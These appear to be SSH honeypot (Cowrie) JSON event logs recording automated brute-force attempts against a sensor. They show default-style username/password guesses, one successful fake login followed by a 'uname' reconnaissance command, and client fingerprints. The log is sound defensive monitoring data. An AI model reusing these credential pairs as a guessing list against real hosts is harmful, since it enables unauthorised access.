{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:17.996578Z","src_ip":"103.75.199.4","session":"0bf867a067d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51156,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0bd50877c5","protocol":"ssh","message":"New connection: 45.153.34.114:51156 (159.203.135.109:22) [session: aa0bd50877c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:19.010888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:19.016425Z","src_ip":"45.153.34.114","session":"aa0bd50877c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:19.109130Z","src_ip":"45.153.34.114","session":"aa0bd50877c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:19.440416Z","src_ip":"45.153.34.114","session":"aa0bd50877c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:20.531389Z","src_ip":"45.153.34.114","session":"aa0bd50877c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39240,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6923dd44c63","protocol":"ssh","message":"New connection: 45.153.34.114:39240 (159.203.135.109:22) [session: f6923dd44c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.149041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.253561Z","src_ip":"45.153.34.114","session":"f6923dd44c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.260304Z","src_ip":"45.153.34.114","session":"f6923dd44c63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.614829Z","src_ip":"45.153.34.114","session":"f6923dd44c63","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.843910Z","src_ip":"45.153.34.114","session":"f6923dd44c63","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.847128Z","src_ip":"45.153.34.114","session":"f6923dd44c63","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.934883Z","src_ip":"45.153.34.114","session":"f6923dd44c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:27.940616Z","src_ip":"45.153.34.114","session":"f6923dd44c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.98548913002014,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:34.876496Z","src_ip":"85.217.149.70","session":"45adb5e6437d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34412,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c13649729f3","protocol":"ssh","message":"New connection: 45.153.34.114:34412 (159.203.135.109:22) [session: 1c13649729f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:35.394260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:35.399758Z","src_ip":"45.153.34.114","session":"1c13649729f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:35.483977Z","src_ip":"45.153.34.114","session":"1c13649729f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:35.742940Z","src_ip":"45.153.34.114","session":"1c13649729f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:36.835112Z","src_ip":"45.153.34.114","session":"1c13649729f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50028,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eee59273cac","protocol":"ssh","message":"New connection: 103.75.199.4:50028 (159.203.135.109:22) [session: 3eee59273cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:38.361365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:38.364833Z","src_ip":"103.75.199.4","session":"3eee59273cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:38.456010Z","src_ip":"103.75.199.4","session":"3eee59273cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:38.729841Z","src_ip":"103.75.199.4","session":"3eee59273cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:39.824253Z","src_ip":"103.75.199.4","session":"3eee59273cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38894,"dst_ip":"159.203.135.109","dst_port":22,"session":"6333c74855ba","protocol":"ssh","message":"New connection: 45.153.34.114:38894 (159.203.135.109:22) [session: 6333c74855ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:42.961529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:42.980753Z","src_ip":"45.153.34.114","session":"6333c74855ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:43.049217Z","src_ip":"45.153.34.114","session":"6333c74855ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:43.383344Z","src_ip":"45.153.34.114","session":"6333c74855ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:44.496232Z","src_ip":"45.153.34.114","session":"6333c74855ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34236,"dst_ip":"159.203.135.109","dst_port":22,"session":"712709cced19","protocol":"ssh","message":"New connection: 45.153.34.114:34236 (159.203.135.109:22) [session: 712709cced19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:50.940981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:50.969772Z","src_ip":"45.153.34.114","session":"712709cced19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:51.032061Z","src_ip":"45.153.34.114","session":"712709cced19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:51.372550Z","src_ip":"45.153.34.114","session":"712709cced19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:52.459335Z","src_ip":"45.153.34.114","session":"712709cced19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.161","src_port":53058,"dst_ip":"10.17.0.5","dst_port":22,"session":"7823b66d97fd","protocol":"ssh","message":"New connection: 208.87.242.161:53058 (10.17.0.5:22) [session: 7823b66d97fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:57.529602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:57.534559Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:57.604565Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:7f:89:5d:b0:e3:58:43:72:da:5b:1c:75:68:b5:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDorQUufXGCFACcAH8Fitm3N22J6rmvAk5GAmzjSa8NIaqyZ1jMhhYsc6ilr3NIk45JfOWJrLKL8g7J/xNjr1kexdZ1DZuR8h872fzZaBkxQorZUpL8QX21O/cir0eeltF2P6sF0C7a2pdjcsQ7tV8yUeV7wyuy9s3Aptwgj7xOC0xjDw9h+CnXXSsoHqMly6BsW3gctb++D9OjAmq5PpBdRpBtLaHVXk8+zRBl1YAO4+qnOt+mxAefIL8hpHeioSo7Yf68F9XNd4lTQGvdCbo8Rw/kqqO/Lq3fa1TzCmnx/kkprDUdUUp3v52bcLg8ywbXB2L1S5CbnzwUv3Ne5ui7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:7f:89:5d:b0:e3:58:43:72:da:5b:1c:75:68:b5:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:57.928685Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:7f:89:5d:b0:e3:58:43:72:da:5b:1c:75:68:b5:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDorQUufXGCFACcAH8Fitm3N22J6rmvAk5GAmzjSa8NIaqyZ1jMhhYsc6ilr3NIk45JfOWJrLKL8g7J/xNjr1kexdZ1DZuR8h872fzZaBkxQorZUpL8QX21O/cir0eeltF2P6sF0C7a2pdjcsQ7tV8yUeV7wyuy9s3Aptwgj7xOC0xjDw9h+CnXXSsoHqMly6BsW3gctb++D9OjAmq5PpBdRpBtLaHVXk8+zRBl1YAO4+qnOt+mxAefIL8hpHeioSo7Yf68F9XNd4lTQGvdCbo8Rw/kqqO/Lq3fa1TzCmnx/kkprDUdUUp3v52bcLg8ywbXB2L1S5CbnzwUv3Ne5ui7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:57.932513Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
